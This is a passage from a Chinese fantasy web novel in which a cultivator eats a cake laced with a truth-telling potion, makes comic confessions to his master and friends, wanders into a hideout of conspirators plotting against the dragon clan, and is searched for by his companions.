说到这里,慕轻轻也明白事情的重大,她皱了皱眉看向了胡长乐和石泽竹,“可是,你让他们去?认真的?” “有何不可?”龙族大皇子挑了挑眉。 “…他们这个就是……”慕轻轻斟酌一下语句,随后开口道,“我觉得他们过去或许会露出马脚,到时候他们要是遇到了危险该怎么办?大哥,既然你派去的手下都遭遇了不测,那他们过去又能做什么呢?” “我派去的是影龙卫。” “…是,影龙卫都做不到的事情,您怎么能指望他们……?” “…轻轻,你可还记得先前的于万灵会上与那蛇族的比赛?”龙族大皇子语气并不强硬 ,但是慕轻轻却难得安静了下来,“我们当初看不起它们,也正因此,我们才被对方赢下了一场比赛。” “或许正是因为弱小,才不会引起对方的防备。”龙族大皇子那么说着,他将手按在了慕轻轻的肩膀上,“轻轻,你可知此事的严峻?” “…就,就算如此……”慕轻轻显然有些结巴,她能够感觉到来自自己大哥的那份威压,“也有可能被识破啊,万一他们被发现了怎么办?” “……嗯?”龙族大皇子轻轻嗯了一声,他像是有点疑惑,他不懂慕轻轻到底在犹豫些什么。 “我……”慕轻轻张了张嘴,她知道,身后的那两个傻子只要她说一句,保证立马就去了,甚至去了还不会有任何怨言。 这样的人最好利用。 傻乎乎的,根本不需要用太多的计谋,只需要一句话:我需要你。 只需要一句,非常简单的一句话就可以了。 胡长乐和石泽竹看着她,毕竟他们对目前的情况不是很了解,只能靠着她,而唐山玉他们不在,只需要一句话,胡长乐和石泽竹包会积极地揽自己身上,然后…… “…大哥,不可以。”最后慕轻轻摇了摇头,继续看着他,“他们是我的朋友,要是出事了,我会伤心的。” 龙族大皇子微微一愣,随后慕轻轻抬手拍开他的手,带着胡长乐和石泽竹一起往后退去,“这种事情您还是和青莲剑尊说吧,我想他会给你一个好的答复。” “咦?轻轻?”胡长乐感觉到后边的推力之强大,“我们不继续了吗?” “轻轻,如果是帮忙我很……哎呦!”石泽竹感觉到自己被推得往前踉跄了一下。 “这件事不能那么随便,肯定还有更好的方法,我们需要从长计议,懂吗?”慕轻轻抬起手挨个拍了一下脑袋,“走,去找咱们的秦长老。” …… “长大了啊。”龙族大皇子站在那里,就这样看着慕轻轻离开的身影,“她的性子倒是变了很多。” “嘿,慕云辰,你在这里做什么?”一道女声传来,慕云辰转头看去,发现是自己的二妹慕流月。 “…你这般直呼兄长名字,真是失礼。”慕云辰微微眯起眼,转过身去,似乎不是很想理会慕流月。 “名字起出来不就是让人叫的嘛?那么在意干什么?”慕流月看上去有些不太开心,她一蹦一跳地凑过来,“我的好大哥,要不要猜猜看我刚刚在干什么?” “不猜。”慕云辰继续往前走着。 “猜猜嘛~” “不。” …… “师父……”唐山玉抱住姗姗来迟的秦兰时,他的眼泪掉落下来,看上去委屈至极,而被抱住的秦兰时一声不吭,但是他脸上震惊感好像要石化那样。 “他…他…?”秦兰时指了指怀里的唐山玉,颤抖地看向在那边也是一脸不敢置信的谢璟。 “好,好像是因为吃了那个叫孟南送的糕点才变成这样的。”谢璟磕磕绊绊地回答秦兰时的问题,天知道他刚刚在这里都遇到什么了。 “…你看他做什么?是我不好看吗?你就非要看他不可吗?”唐山玉不是很乐意地扒拉住秦兰时的脑袋,使劲摇晃。 “不,不是,你冷静点!” “哈?你看这个妖艳贱货都不愿意看我一眼?你还让我冷静?我怎么冷静?”唐山玉顿时怒火就上去了,只见他不知道从哪里拿出一根银针,来势汹汹地朝着谢璟走过去,“小妖精,我要划花你的脸——” 谢璟:? 你有病吧!! 第203章 好糕当炫 在唐山玉拿着银针扑向谢璟的时候,那一刻,时间仿佛被按下了静止键,让我们往前拖动,来到了一切开始的时候。 那位猛男说出的自己名字叫孟南,他笑嘻嘻地拿出自己今日做的糕点,这份糕点看上去平平无奇,可这里头香味倒是浓郁。 “这是什么?”唐山玉看到有吃的,就好奇地凑过去,他嗅了一下这味道,只觉得心情愉悦。 “这是我今日做的糕点,谢谢你们陪我那么久,送你们吃吧!”孟南将这份糕点塞进了唐山玉的手里,唐山玉拿起糕点看了看,没有看出什么问题就当面吃了一口。 “好吃吗?”孟南一脸期待地看着唐山玉的神态。 “……好吃。”唐山玉吃了一口后觉得这糕点里头的香气进入口里也愈发地浓郁了,味道倒是和寻常的糕点没什么区别。 “好吃就多吃点,我这里还有好多呢!”孟南见此笑容更加灿烂,他又给唐山玉好几块糕点,让唐山玉拿着在路上吃。 反正该能打听的都打听差不多了,唐山玉和谢璟果断地走出这里,唐山玉还拿着那碟糕点,在路上库库地炫。 “要吗?”唐山玉递了块糕点给一直看着他的谢璟。 “不用,你自己吃吧……”谢璟拒绝了这个糕点,他在外边极少吃其他人的给的东西,因为这里头的风险很大。 “这样啊,那我自己吃吧。”唐山玉也收回了糕点,一边吃还一边提了一句,“这糕点的一般般,不过香味是真的浓,都不知道我是吃糕点还是吃这口香味了。” “…不喜欢就别吃。”谢璟对此评价不多,而是继续说起今天听到的事情,“所以,当年应该是发生了什么事情导致了那位主君的离开,虽然那位孟南知道得不多,但是当年的那场意外结束后,龙族有一段时间的沉寂。” “嗯,应该吧,这种事情应该被封锁了信息,能够知道的只有龙族内部,不过其他海族也不是傻的,这前后矛盾那么明显,他们怎么会不往那位主君的头上去想……”唐山玉也顺着这番推理往下说去。 “不过这件事只有龙族内部知道…也就是说,这或许是属于龙族内部的灾难,也是,无论他们怎么斗来斗去,只要不祸及平民,大约是不值得被关心的。” “虽然这和我们找叛徒的任务似乎没什么关系,但是没有了解具体情况就妄下定论并不可取。” “那么我们只需要找龙族问清楚就好了,而且既然是合作,怎么能有所隐瞒……” “……” “山玉……?”谢璟缓缓转头看向了从刚才开始就一直不说话的唐山玉,只见人拿着那碟糕点就这样站在原地,一动不动的。 “你怎么了?”谢璟感觉到有点不对劲,他连忙走过去想要查看唐山玉的状况,可是还没他走过来,只见唐山玉的身形一晃,就那么直直地倒了下去,糕点掉落了一地,但是已经没有人去管。 “喂!”谢璟连忙过去扶住了要倒下的人,随后慢慢放平在地上,他将灵力输送到唐山玉体内,想要探查到底是什么问题导致的唐山玉昏迷。 “阿璟…如何了?“目睹一切的顾延清自然也很担心唐山玉的情况。 谢璟缓缓摇了摇头,他也找不出什么问题,随后他转头看向了旁边散落的糕点,眼里渐渐有了杀气,“…找死。” 说完,谢璟提着剑就要去找孟南进行一番友好的聊天,可当谢璟才杀气腾腾地走了几步,倒下的唐山玉突然鲤鱼打挺那样起来,把谢璟给吓得脚步都踉跄了一下。 “…你…?”谢璟看着突然起来的唐山玉,见人神态上似乎没什么不对,甚至还悠闲地打了哈欠,他突然大悟,杀气转变了角色,变成了唐山玉,“你故意的?” “…嗯?”唐山玉半眯着眼,似乎在打量怒气冲冲过来的谢璟。 “这种玩笑并不好笑!我不是说过我最讨厌这种玩笑了吗?!”谢璟越想越气,他走过去提起唐山玉的衣领子使劲摇晃。 唐山玉被晃了几下没什么其他特殊反应,谢璟倒是察觉到不对了,往常这种时候他们不是应该互殴在一起吗?怎么那么平和? “你是……?”唐山玉似乎在判断什么,他整个人看上去不太聪明的样子,随后他抱了上去,给了谢璟一个大大的拥抱,“师父,你来了~” 谢璟:? 顾延清:……? 谢璟果断将人推开,甚至抱住自己疯狂往后退去,他看着这个突然认错人的唐山玉,怀疑起那些糕点里是不是放了不少酒,“你,你清醒点,我不是你师父。” “嗯?不是吗?”唐山玉再认真看了看,然后恍然大悟,“原来是谢璟啊。” “对,所以你离我远点……”谢璟还没说完,就感觉到有一只手摸在了自己的头上,甚至在使劲地搓。 “那你要乖乖。” 这种训狗的感觉到底是怎么回事? “唐山玉!!你什么意思?!你是把我当狗了吗?”虽然知道对方可能出问题了,但是谢璟不可避免因为这件事大怒了一下。 “不是啊。”唐山玉听到这话摇了摇头,然后就那么看着谢璟道,“我把你当朋友了啊。” 谢璟:…… 因为这句话,谢璟难得心软了一下,他想:人都这样了,我怎么能因为对方的奇怪行为而生气呢,真是太不应该了。 “谢璟啊,你虽然看上去凶凶的,实际上接触下来怪可爱的,嘴巴虽然说不出人话,别人都说你看不起人,实际上你只是没有把他们当人看,不过这也是你的一种特色呢。” 谢璟:……? 为什么突然开始说起他来了。 他师父还看着呢!快住嘴!! 而顾延清在听到唐山玉的话后,在他们看不到的地方轻轻点了点头,他也觉得唐山玉的话也有几分道理。 “虽然你性子差,容易和我对骂起来……”唐山玉闭上眼细数了一堆谢璟的缺点,就在谢璟忍不住要对自己人拔剑的时候,唐山玉这才重新睁开眼看过来。 “不过,我还挺喜欢你这家伙的。” 谢璟:…… 剑拔了一半又收了回去。 并且他的脸肉眼可见地红了起来。 “…你……你……”谢璟显然面对那么友好的唐山玉也是极为不习惯的,再加上对方方才的真情实意的坦白,直白到他恨不得找个洞缩进去。 “哇哦,就是这种,一接受到明晃晃的好意就害羞的可爱。” 谢璟:…… 脸更红了。 “你到底吃了什么啊!!”明明发疯的是唐山玉!为什么到头来不好意思的是他啊!谢璟捂脸靠墙,并且使出了秦兰时召唤术。 过了一会,秦兰时过来后,唐山玉还在和谢璟聊谢璟这个人到底哪方面可爱哪方面有趣,而谢璟捂住耳朵蹲地不愿意再听。 但是在唐山玉看到秦兰时后,就果断地抛弃谢璟投入秦兰时的怀抱,甚至哭哭啼啼的,好像谢璟欺负他了一样。 谢璟:? 这种感觉宛若前一秒你还是对方的心肝小宝贝儿,下一秒你就变成了垃圾桶捡来的小垃圾。 而接下来唐山玉的银针攻击也是让谢璟猝不及防,谢璟能不生气吗,反差那么大他肯定生气啊,所以他扣住唐山玉拿针的手腕一字一句地道,“你看清楚了,我是谢璟,我有自己师父的,不会和你抢师父的好不好?” …… “哦,是谢璟啊。”唐山玉又悟了,随后他笑了笑,对谢璟张开双臂,热情地道,“好兄弟,来抱一个~” “…你们干什么?”秦兰时阴暗地出现在俩人的中间,随后被唐山玉抱了个正着,他把谢璟推远一点,认真地道,“去找那个什么孟南,问问他到底加了……” 还没说完话,唐山玉捧起秦兰时的脸就这样亲了上去,秦兰时瞪大双眼,如此热情的唐山玉是真实存在的吗? 围观一切的谢璟:…… 他不应该在这里,他应该在洞里。 “你们继续,我去找孟南。”谢璟果断转身就走,带着浮光镜一起,这里他是待不下去了,两个死恋爱脑!! 运用词汇特别快的谢璟在心里怒骂的好几声,而顾延清似乎看了一眼又看一眼,随后问道:“阿璟,你还好吗?” “……不是很好。”谢璟觉得自己的脸色应该非常明显,于是他选择了坦诚,“那个,师父,山玉之前说的那些,都是他瞎说的,那都是他的一面之词,我没有看不起人……” “嗯。”顾延清应了一声,表示他明白了,“那阿璟觉得山玉如何?” “…什么如何!”谢璟现在有点炸毛。 “山玉他看上去挺喜欢你的。”顾延清那么说着,他指节轻轻叩响着桌面,“那阿璟喜欢山玉吗?” “……”谢璟不知道为什么顾延清好奇起这种事情来,但是让他说出自己的感觉实在是太难了,所以他只是憋出一句,“师父,我们还是先做正事吧。” “…好。” …… “什么?你问我这里头加了什么?”孟南一脸震惊地看着去而复返的谢璟,“我能加什么啊,这不就是我新做的……” 突然,声音卡壳了,孟南似乎想起了什么重要的事情。 “我想起来了,我之前弄来宫斗用的发疯真情吐露糕好像也………摆在厨房……” 孟南:…… 谢璟:…… “对不起。” 第204章 跑了 “秦兰时你怎么那么好看……”唐山玉抱住秦兰时就在那里夸,就在那里看,把自恋秦兰时夸得都要不好意思了。 “眼睛是我喜欢的,脸也是我喜欢的,抱起来也是我喜欢的。”夸夸还在继续,秦兰时不由得在想谢璟去找孟南到底找出个什么结果,这唐山玉坦诚得他都有点不好意思了。 对,他就是那么好看。 对,他就那么惹人喜欢。 对,就是这样夸…… 秦兰时心里可谓是满意至极,现在的唐山玉是限定款,过会谢璟把解药拿回来估计就恢复了,这样想着,秦兰时拿出了留影石。 “来,山玉,看着这个说……”秦兰时开始诱导起这个看上去不太聪明的唐山玉。 只见唐山玉毫不犹豫地伸手拍开了这个留影石,“留影石能有我自己说得好?你心里到底是喜欢留影石的我还是现在的我?” 秦兰时:…… 秦兰时缓缓低头看了一眼滚落的留影石,他眼里都是满满的可惜,不过唐山玉还在依依不饶地拉着他的袖子,“你怎么不说话,你在犹豫什么?” “没有没有,我的好心肝,你当然是最好的。”秦兰时连忙转移了注意力,可惜就可惜吧,先哄人比较好。 “我不信。”唐山玉皱了皱眉,随后他松开了拽住秦兰时袖子的手,“你在说什么?” “我在说你是最好的。”秦兰时耐心地重复了一遍。 “不,我一点都不好。”唐山玉闻言摇了摇头,他看上去不是很相信,“我觉得我自己有时候有点小心眼。” “…什么什么?快和我说说~”秦兰时听到这话,眼睛一亮,他已经准备好记录在小本本上了。 “我不应该因为你偷吃了我的甜点,第二天就把苦瓜汁当成茶泡给你喝。”唐山玉开始说起自己的罪证。 “…什么,原来那不是你特地给我熬制的新茶吗?”你说第一次泡这种茶,我信了,再苦也愿意喝下去。 “然后我想起你因为之前生病喝药苦太久了,我又开始觉得我真该死啊,所以我就自己当天生啃了两个苦瓜。”唐山玉觉得自己真不是人。 “……我以为你喜欢吃这口。”秦兰时难得沉默了一下,他就说这孩子明明喜欢吃甜的,怎么突然开始生啃苦瓜了呢。 “还有,因为你总是喜欢偷偷喝酒,我怎么说都不听,所以我当天晚上就把你的酒全部换成了生姜汁。” “……啊?我还以为是那种酒的特色……”他藏的酒太多了,压根不知道自己到底藏了什么,所以喝一口不好喝也不会怀疑太多。 “…总之……我没那么好……”唐山玉说着,微微偏过头去,他看着那里长出的一棵小树苗,小树苗在风里晃了晃。 “…噗,山玉啊。”秦兰时将身子俯过来,微微侧头笑道,“可是,就算这样,我还是觉得你很好啊。” 唐山玉愣了一下,他张了张嘴似乎想要说什么,可最后却只落下一句:“我想●你。” 秦兰时:? “我也想你●我。” 秦兰时立马伸出手捂住了他的嘴,隔墙有耳隔墙有耳啊,万一谢璟他们回来了怎么办?他倒是没关系,要是唐山玉清醒过来估计秦兰时会拦不住人跳海。 “…咳咳,好的,我知道你特别喜欢我。”不过,秦兰时耳根子倒是发热起来了,这种话平时在床上说说说算是情趣,但是如果在外边说起来,倒是有点刺激啊。 “…还有。”唐山玉亲了一下秦兰时的手掌心,他又顺势用脸蛋蹭了几下,“我嫉妒顾延清。” 秦兰时:? 真的假的!! “…凭什么他可以认识你那么久,凭什么他可以看到你年少的模样,他甚至可以和你一起长大,一起去历练……”唐山玉也是越说越气,他已经阴暗到浑身散发着浓浓黑气。 “…那个…山玉……”秦兰时似乎想要说点什么,虽然这样的山玉也很可爱啦,不过让人生气可不是他的目的。 “他凭什么…他凭什么可以…”唐山玉还在幽怨着,输出个不断,“我…只能用旁人的话语里听到你曾经的过往,我只能听,我只能努力去想,去想那个时候的你会是什么样的。” “…但是,他们都看到了,不只是顾延清…就连那个徐先生都看到了。”唐山玉推开了秦兰时伸出来捂嘴的手,这个糕点发作得是真的厉害,只见说着说着,唐山玉就眼泪掉落。 秦兰时:!!! 解药!!! 解药在哪里!!! 这不是他的本意啊啊啊! “我好羡慕,我快羡慕死了……”唐山玉捂住脸就是哭,把秦兰时给吓得呜哇乱叫。 “…没事的,山玉,我们还有好长时间呢,相信我,这些事情我们可以一起做呢。”秦兰时开始安慰人了,这次他不说甜言蜜语了,因为他知道对方听不进去。 “真的吗?”唐山玉抬起头,看了过来,他看上去眼泪没有掉多少,虽然话语里头全是真情实意,但是哭力不够。 “…真的真的!”秦兰时连忙点头,他拼命在心里想:解药怎么还没回来!! “……我和顾延清掉海里你会救谁?”唐山玉突然问出那么一个问题。 “救你!!”秦兰时不带犹豫地道。 “…我又嫉妒顾延清了。” 秦兰时:? 为什么啊!这个答案不标准吗! “因为你非常放心他,你都不放心我,说明我们之间是真的缺了好多,我都明白的,我没有顾延清靠谱,也没有他厉害……” 秦兰时沉默,秦兰时转头看向了带孟南过来的谢璟,谢璟身后除了孟南还有一个漂浮的镜子。 镜子什么都听到了! 顾延清也是什么都听到了! 他还在诧异山玉师侄怎么还吃自己醋的时候唐山玉继续输出着: “…我都懂,师兄就是师兄啊,师兄怎么也不会变成徒弟的啦,师兄也不会和徒弟一样需要保护的啦。” “一想到我错过你好多,我就莫名地嫉妒顾延清他们。” 一想到自己好像也吃过秦兰时醋的谢璟有些心虚地别开脑袋,别说,这些话用他身上也适用啊…… 山玉好歹努力到了花开…他呢? 这样一想,谢璟就难得有些伤感,而本来想着自己到底做了什么让人误会的顾延清察觉到谢璟的低落。 怎…怎么了? 还没等他想出个所以然来,为了保护唐山玉最后的尊严,谢璟走上前去,“秦师叔,解药带来了,然后就是,这位孟公子想要给我们道歉。” 说着,孟南举了一下他手里的盒子,示意那个解药就在里面。 “那真是太好看,快把解药给我!!”秦兰时觉得唐山玉的尊严也是岌岌可危了,所以他当机立断地跑过来,伸手去拿孟南手里那个盒子,打开一看,一颗圆滚滚的解药就这样躺在里头。 “太好了,山玉,我们快……” …… 回头的那一刻,本应该有人的地方空空如也,那里什么都没有,就像此时此刻脑子空白一片的众人。 “…人?人呢!!!”秦兰时发出尖叫,他连忙检查一下唐山玉站着的地方,残余的法术灵力告诉他唐山玉采用遁地术跑了。 “…不是,他情绪不稳定,秦师叔你和他说了什么啊?”谢璟也觉得头大,更何况对方身上还有着屏蔽气息的法器,想要找人是比较困难的。 “我什么都没有说啊!快去找人!不对,这个龙族地里头怎么还有灵脉!!”这个东西阻碍他找人了。 “没有灵脉他们怎么会有钱…秦师叔,我去喊人。”谢璟则在思考接下来应该怎么办,最后他觉得不如喊人来帮忙找比较好。 与此同时,唐山玉在地里头探出个头,他不知道自己来到了那里,不过因为方才看到秦兰时如此果断转身的时候让他的心灵受到了极大的创伤,而他想要找个地方静静。 “……山玉道友?”一道熟悉的声音在上头响起。 唐山玉抬头看去,发现是路过的任海一枚,任海穿着黑斗篷,整个人看上去神神秘秘的而这里,除了任海,还有不少穿着黑斗篷的人盯着他看。 这是哪里? 怎么一堆黑衣的家伙,他们在玩什么py呢? 此时此刻,这个地方因为唐山玉的出现安静得一批,就在有人要有所动作的时候,唐山玉开口了: “任前辈,我还是你的心肝小后辈吗?” 任行舟:? 第205章 优雅潜入 “任道友,这是谁?”有人问了,也有人看了,唐山玉的出现无疑在告诉他们一点:你们的秘密被我发现啦! “防护队,什么情况?我们不是设了好几道阵法吗?怎么还会有外来人进来?”同时,也有人大怒,他已经起了杀意,决定把进来的唐山玉给就地正法。 “阵法没有问题,他怎么出现的我们也不知道啊!!”防护队这样汇报给他,而他正着急地翻起一本小册子,“而且最近我们也花了些资金又改造了一番阵法,就是避免有外头的家伙再次进来。” 阵法要时常更新,因为人也是会时常更新的。 “这个阵法不行,这次过会给我换了……任道友?您在做什么啊?”这个明显是领导者的人突然看到任海抬起手摸了摸那个入侵者的脑袋。 “啊,这个啊,是我认识的一个小辈,我发现他的状态好像有点不太好,你们可否找医师来给他看看?”任行舟试探完不聪明的唐山玉后,他缓缓叹了口气。 “…什么,原来是任道友认识的吗?就算是任道友认识也不能这样。”领导者觉得这次行动不能出意外,于是他拒绝了任行舟这个提议,“我知道您的顾虑,把他交给我吧,这件事交给我就好。” “其实,他很有用哦,你们不是听说了那位青莲剑尊带着几位随清宗弟子来访龙族的事情吗?”任行舟笑了笑,随后和他们道出了唐山玉的身份,“而这位便是那位青莲剑尊唯一的弟子,据我的观察,那位剑尊对这个弟子很是关心。” “什么,原来是他吗?就他这个样子……?”领导者看了看这只清澈的唐山玉,语气有些不敢置信。 “他之前不是这个样子的,应该是遭遇了什么,所以我就想问问咱们这里可有医师能给他看看?”任行舟说着,突地笑了笑,“如果可以,没必要治好他,你们可以将他这个状态变得更为严重一点。” “不愧是任道友,做事就是周全。”领导者闻言就立马喊来了医师过来给唐山玉查看情况。 在医师把唐山玉带去查看情况的同时,他们也站在一边聊起了事情:“任道友,你这个计划真的可行吗?” “我们的目的是一样的,就连仇恨也是如此,除非会有意外,我觉得我们的合作应当是坚不可摧才是。”任行舟回答得也很坦然,他摆了摆手,有些无奈,“我明白你的顾虑,毕竟我作为一个插足的外人的确会让你们产生警惕。” “但是我没有把你们的存在和计划泄露出去,这何尝不是我的一种坦诚。”任行舟说着说着,看向了领导者,“罗公子,你是明白的,任何事情都是需要足够的时间去等待,我们若是连这点时间都没有,又何谈向那高傲的龙族复仇呢。” 罗公子戴着那兜帽,里头的面具遮住了他此时此刻的神情,这是一张简朴的面具,没有花纹的精刻,也没有绚丽色彩的点缀。 “任道友你说的是,是我方才情绪不稳定了,毕竟突然大变活人谁都会惊慌,尤其是在我们讨论计划的时候出现。” “就算那位小友是清醒过来的,这里都是我们的人,我们还不能将他制服吗?然后再留下来当人质。”任行舟开始给罗公子提出自己的见解,他虽然在方才看到人的时候是有点惊慌,不过很快他就想出了好几种对策来解决目前的情况。 “…不过,我是真没有想到这位唐小友的状态如此不好。”那句心肝的确让任行舟的脑子空白了一瞬,他甚至在思考这个心肝难不成是为了离间他和这些人才说出的话语。 “任道友,我有个疑问。”罗公子转过头来,看着任行舟,“如果你的这位小友什么身份都不是,只是个无辜闯入此地的散修,你会毫不犹豫地杀了他吗?” 任行舟闻言一愣,随后,那头的房间门被人打开,任行舟看着从里面走出来的唐山玉和医师,轻笑着,说出最为无情的话语: “我会为这名无辜的小友立碑纪念他。” “……有时候我在想,这样的我们又和那群家伙有什么区别呢?”罗公子显然也清楚地知道这个问题的答案,但是在说出来后,他也不可避免陷入深思。 “罗公子,你们所追求的公正,需要牺牲,你们所渴求的正义,需要流血。”任行舟呵呵一笑,随后抬手拍了拍唐山玉的脑袋,“而我,也只是初次踏上这条道路的一介凡夫俗子。” “我们追寻的这条路,我没有走过,你也没有走过。” “任前辈。”唐山玉突然出声了,他看着任行舟,“你有什么不公的事情需要去反抗吗?” 任行舟没有想到唐山玉还会发问,他转头看向了一旁的医师,而医师上前告诉他们自己检查的结果: “这位小友应当是吃了吐真草,这草平时应该不会有那么大功效,我还发现了里头藏着热情果,可以极大地加强患者的感情表达能力,接着就是他正处于思维混乱中,我再一看,发现还有乱思叶……” “…?他到底都吃了什么?”任行舟难得语气微顿,看唐山玉的眼神也愈发地奇怪。 “这是一种特殊的配方,专门用来审问犯人用的,我可以稍微调一下,可以让他这个状态维持得更久些,又不会损害他的灵识。” “那就麻烦你了。”任行舟点了点头,然后再次看向唐山玉,他拍了拍人的肩膀道,“这不是小孩子该知道的,罗公子,你喊人把他带下去休息吧。” “说关起来就关起来,你说得那么温和做什么?”罗公子显然翻了个白眼,随后他为了防止有意外,便准备拿着铐子给人拷好,他打算亲自带人去找个好点的房间…… “不行,你必须告诉我,万一我可以帮你呢?”唐山玉甩开了这个铐子,很是不满地道,“你们全部都把我当小孩,真是让人生气,我有那么不靠谱吗?” “……嗯,是的。”任行舟回答得超级无情,他笑着,然后挥了挥手,就出现两个人按住了唐山玉把人给拖了下去,“乖孩子要学会听话。” “放开我!放开我!谁是小孩子———我要和你理论!!”唐山玉被拖了下去,声音听上去有点凄惨。 “就这样真的可以吗?”罗公子不确定,然后问道,“不把他身上的东西都拿走?” “…建议你不要,穷人发起疯会很拼命的。”任行舟沉默了一下,想起唐山玉那热爱金钱的模样,他觉得还是不要尝试为好,就算对方现在思维不是很正常。 “…?我们的资金不都是抢来的吗?你还在乎别人的钱吗?你对别人的钱就没有占有欲吗?”罗公子显然不是很理解,不过他把这一切归于任行舟的恻隐之心。 “算了,反正听你的留他一命吧,希望他能够派上用场,接下来我们就各做各的……他身上万一有什么定位用的法器怎么办?你就任由那个秦兰时挥着剑闯进来吗?” “那孩子身上应该是有屏蔽气息的法器……甚至还可能屏蔽住那个剑尊呢,不然以秦兰时的修为怎么可能找不到我们,而且他又怎么闯进来的,我不认为你们的阵法如此脆弱,不然你们也不会在这个岛上待那么久,早就出师未捷身先死了。” “非常感谢你的认可,那我们还是不搜身了,这屏蔽气息的法器就让他戴着吧。”罗公子说完转头就走,留下任行舟在原地,而任行舟也没有多待,不过在离开前,他看了唐山玉的房间一眼。 与此同时,秦兰时挎着个脸看着拦住他去路的海族,只见这个海族笑嘻嘻地过来和他套近乎,还没等他开口说什么呢,秦兰时就毫不客气地怒骂一声: “滚!你还不配贿赂我。” “哦?他不配?那我呢?”就在这时,一道声音自后方响起,这道声音的主人难掩沧桑。 秦兰时一愣,转头看去,随后他微微瞪大了双眼。 …… “什么!山玉没了?!”石泽竹发出尖锐的爆鸣声。 “不是山玉没了,是山玉跑了!你说话能不能好一点啊!!”慕轻轻拍了石泽竹脑袋一巴掌。 “啊?你们到底发生了什么啊?”胡长乐正拿着好吃的在喂学长呢,就猝不及防地听到这个信息。 “总之,我们努力找一下吧,秦师叔他或许不会那么有空。”谢璟缓缓扶额,觉得这日子一天天的都不得空闲。 这也是历练的一部分吗? 第206章 找找找 首先,由谢璟,慕轻轻,石泽竹,胡长乐和学长四人一鸟组成临时寻找山玉小队,他们开始对这个卧吟岛开始了探查。 目前可探索地点有:集市,酒楼,渡苍河边,卧花楼,飞龙在天石雕大广场。 胡长乐率先对集市发起搜索,学长紧随其后,他们一路走下去,发现唐山玉零次,手上多了几件商品,金钱减少了,快乐短暂性地增加了。 学长将一切尽收眼底,它获得了新鲜的海米,饱腹感短暂性增加了,于是它选择在胡长乐的头顶上吃起了海米。 海米的味道咸咸的,越吃越香,真是别有一番风味呢。 胡长乐突然觉得这样下去自己会玩物丧志,于是她开始勉励自己,聚精会神的可能性增加了,她开始认真搜索起集市。 接着她打听到最近的集市里似乎有不少异乡客采购了大量的灵石,而大量的灵石能够做什么呢? 胡长乐开始利用现有的智慧思考着,灵石里头富含的灵力可以被用来组建修炼用的灵力阵法,同时也能组成其他阵法,但是灵石的作用不只有阵法这个方面,还能用于制作法器,是极好的资源。 学长在脑袋上吃着灵米提议道:想不清楚就问问可以想清楚的人,这是那些古怪的异乡客的线索之一,不寒碜。 胡长乐似有所悟,于是她也变成了异乡客,拍了拍一名黑斗篷异乡客的肩膀,轻笑道:“那个,我们一起回去呗?” 这位异乡客明显很诧异,她的情绪有点奇怪,她有些不安,她的呼吸有些急促,看胡长乐的眼神带着审视。 “嗯?”胡长乐轻轻一笑,使用了笑容攻击,好像有效果了,异乡客放下了警惕,开始相信胡长乐的话。 学长对此评价了一句:你还会这种类型的法术? 接着,寻找唐山玉小队的胡长乐同学暂时脱离了队伍。 谢璟选择探索酒楼,酒楼顾名思义是吃饭的地方,他认为唐山玉或许会有贪吃的念头,于是特地来酒楼搜索一番。 谢璟经过吃饭的客人,什么都没有发现,谢璟路过了厨房,发现里头只有一只偷吃的彩鸡,谢璟经过了包厢门,遇到了随地嗯嗯啊啊的不懂事小妖。 谢璟对此面不改色,随身携带物品的浮光镜对此一抖,但是镜子什么话都没有说。 因为找不到唐山玉,谢璟的焦虑缓慢增加了,心情值持续性降低,在酒楼顺便又遇到了看脸的桃花一枚,烦躁值持续上升了。 “怎么什么都没有。”谢璟很是烦躁地挠了挠头,他看了看四周吃饭的客人,选择走出了酒楼,因为一无所获,谢璟的心情值继续降低。 突然,谢璟遇到了故人,那是他曾经救过的鲛人一枚,这位鲛人在看到谢璟后,激动地喊出那声:恩公。 谢璟嗯了一声来回复,鲛人极为激动,她看上去似乎想要拉着谢璟去吃饭,谢璟想要谢绝,不过鲛人一句话让他莫名的老实了。 “恩公!我们的族长想要见您!对您表示感谢,我们还准备的厚礼!!本来想亲自送您手里,但是我们听说您出海历练了,于是只能暂且搁置了。” 一大段话听下来,谢璟自动筛选了一下词汇,他只听到:族长,厚礼。 “好,我去。”谢璟选择暂时放弃一下寻找唐山玉,去迎接他的厚礼。 寻找唐山玉小队的谢璟也暂时脱离了队伍。 石泽竹选择前往渡苍河边搜索,此河是连接上层,中层和下层三个区域的河流,它的终点是无边无际的大海。 石泽竹左右搜寻,他看到了桥上卿卿我我的妖族,他看到了在河边钓鱼的海龟大爷,他看到了在河水里快乐游泳的海蛇,他就是没有看到唐山玉。 石泽竹很失望,他的状态为低落,需要找到唐山玉才能好起来,水里的海蛇见孩子这样低落,便出声让他下来游泳快乐一下。 石泽竹低下头,他看着这河水,他脑袋瓜子灵机一动,他好像还没有找过河水,于是他果断跳进去,海蛇看到这一幕直夸他爽快。 “怎么样?很舒服吧?”海蛇痴迷于凉快的河水,还有上边灿烂温暖的太阳,现在它就差一杯酒,就能让它这番享受更上一台阶。 石泽竹潜水中没有说话,过了一会,他露出个脑袋在水面,他抬手撩了一下因为湿透紧贴着在额前的碎发,有些不解地道:“前辈,我总觉得这水不太对劲。” 海蛇还在享受着呢,闻言他有些不解,于是他问道:“哪里不对?” “泡久了有点晕乎乎的。” “哈哈,这个啊,那是因为你是人修,小子,看你年纪轻轻应该不知道我们海族的灵力和你们人族的灵力是有点区别的吧?”海蛇前辈继续泡着这河水。 “我们的灵力来自于大海,你个吸收草木精华的人修小子当然会有点不适应我们这来自于大海的灵力了。” “原来如此,这里头有那么多学问啊……”石泽竹一愣,原来他只是不太适应在水里的灵力吗,“说起来,我还以为这河水是咸的,原来不是啊。” “不然怎么叫河呢?当然流向大海后就彻底变咸了。”海蛇继续泡着这水,“虽然咸味我也喜欢,但是偶尔的清淡也是别有一番风味。” 石泽竹开始和海蛇聊起了天,因为对方的友好态度,心情值上升了一点,可他一想到唐山玉,这心情值又下降了,于是他问起海蛇有没有见过唐山玉。 海蛇当然没有见过,不过他表示如果有机会他会好好注意一下的,俩人互换了联系方式,成为了联系好友。 石泽竹选择回归一下队伍。 慕轻轻选择探索卧花楼,这个地点为什么会出现在探索地点里呢?因为慕轻轻想去,她说会顺路找一下唐山玉。 于是慕轻轻去了,这里头美人颇多,因为欣赏到了好的容貌,慕轻轻的心情值增加了,她的状态为:愉悦(?) “您怎么来了?”老板娘恭恭敬敬地将慕轻轻请了进去,慕轻轻没有回答她的问题,而是四处打量起这里的结构。 “我是来找颜郎的。”慕轻轻报出了一个名字,老板娘便喊那颜郎出来接客人。 